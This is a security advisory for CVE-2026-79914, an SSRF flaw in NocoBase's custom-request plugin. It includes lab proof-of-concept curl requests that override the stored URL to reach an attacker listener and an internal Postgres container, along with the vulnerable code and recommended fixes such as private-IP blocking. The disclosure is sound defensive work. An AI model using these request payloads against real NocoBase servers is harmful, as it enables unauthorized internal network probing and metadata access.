CVE-2026-79914: NocoBase: @nocobase/plugin-action-custom-request allows server-side request forgery through runtime URL overrides
Summary A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin. A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
Published Nov 10, 2026
Affected packages
@nocobase/plugin-action-custom-request
- Ecosystem
- npm
- Affected
- >= 2.1.0-alpha.8, < 2.1.15
- Fixed in
- 2.1.15
- Check
npm ls @nocobase/plugin-action-custom-request
@nocobase/plugin-action-custom-request
- Ecosystem
- npm
- Affected
- >= 2.2.0-alpha.1, < 2.2.0-alpha.4
- Fixed in
- 2.2.0-alpha.4
- Check
npm ls @nocobase/plugin-action-custom-request
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.
A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
- Product: NocoBase
- Version: v2.1.10
- Component:
@nocobase/plugin-action-custom-request - Severity: Moderate
- Required privilege: authenticated low-privileged user / member
Testing was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.
Lab environment:
- Docker image:
nocobase/nocobase:latest-full - Commit:
23e2bd35625439594e4757bac31d57c9e8e695b9 - Database: PostgreSQL 16
- Containers:
nocobase-lab,nocobase-postgres - Docker network:
172.19.0.0/16 - Important environment variable:
SERVER_REQUEST_WHITELISTwas not set
---
Details
The vulnerable endpoint is:
POST /api/customRequests:send?filterByTk=<key>The customRequests:send action is allowed for any logged-in user:
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}If SERVER_REQUEST_WHITELIST is not configured, the server-side request whitelist check is bypassed:
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;
if (!whitelist || !whitelist.trim()) return;As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
---
PoC
Step 1: Admin creates a valid Custom Request config
First, an administrator creates a valid Custom Request config. This is a setup step only.
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create" \
-H "Authorization: Bearer <ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'Expected result:
HTTP/1.1 200 OKIf the key already exists, this setup step can be skipped.
Evidence:
---
Step 2: Start an attacker-controlled HTTP listener
On the attacker-controlled host in the local lab:
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0Example attacker host IP in the local lab:
192.168.1.139Evidence:
---
Step 3: Low-privileged user triggers SSRF by overriding options.url
The low-privileged user calls customRequests:send and overrides options.url at runtime:
BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data "{
\"options\": {
\"url\": \"http://$KALI_IP:18080/ssrf-proof\",
\"method\": \"GET\"
}
}"Expected response:
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase serverEvidence:
---
Step 4: Attacker-controlled listener receives the server-side request
The attacker-controlled HTTP listener receives:
GET /ssrf-proof HTTP/1.1This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
---
Step 5: Internal service reachability test
The same low-privileged user can target an internal Docker service:
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'Observed response:
{"message":"socket hang up"}This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
---
Impact
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
- internal service enumeration
- access to services only reachable from the server-side network
- Docker host gateway reachability testing
- reading responses from internal HTTP services when response bodies are returned
- potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked
- use of the NocoBase server as a trusted network proxy
Confirmed in the local lab:
- attacker-controlled HTTP listener received a request from the NocoBase server
- internal PostgreSQL container
nocobase-postgres:5432was reachable - Docker host gateway reachability was confirmed
This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
---
Recommended Fix
- Restrict
customRequests:sendto administrators or specifically authorized roles.
- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');- Do not allow low-privileged users to override stored request URLs at runtime.
- Require
SERVER_REQUEST_WHITELISTby default in production Docker images.
- Block private/internal IP ranges by default, including:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7- Resolve DNS and validate the final resolved IP address before making the outbound request.
- Revalidate the target after redirects.
- Add SSRF regression tests for:
localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP rangesCredited to dat13202.
References
- https://github.com/nocobase/nocobase/security/advisories/GHSA-wrr5-j383-f7h2
- https://github.com/nocobase/nocobase/pull/8749
- https://github.com/nocobase/nocobase/pull/9904
- https://github.com/nocobase/nocobase/commit/037dade8592fbab4324107285463f92b45aaa2ff
- https://github.com/nocobase/nocobase/commit/1fc226a22d2ec1de1adf1230367c858b4363ec3b
- https://github.com/nocobase/nocobase/releases/tag/v2.1.15
- https://github.com/nocobase/nocobase/releases/tag/v2.2.0-alpha.4
- https://nvd.nist.gov/vuln/detail/cve-2026-79914
- https://github.com/advisories/GHSA-wrr5-j383-f7h2
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
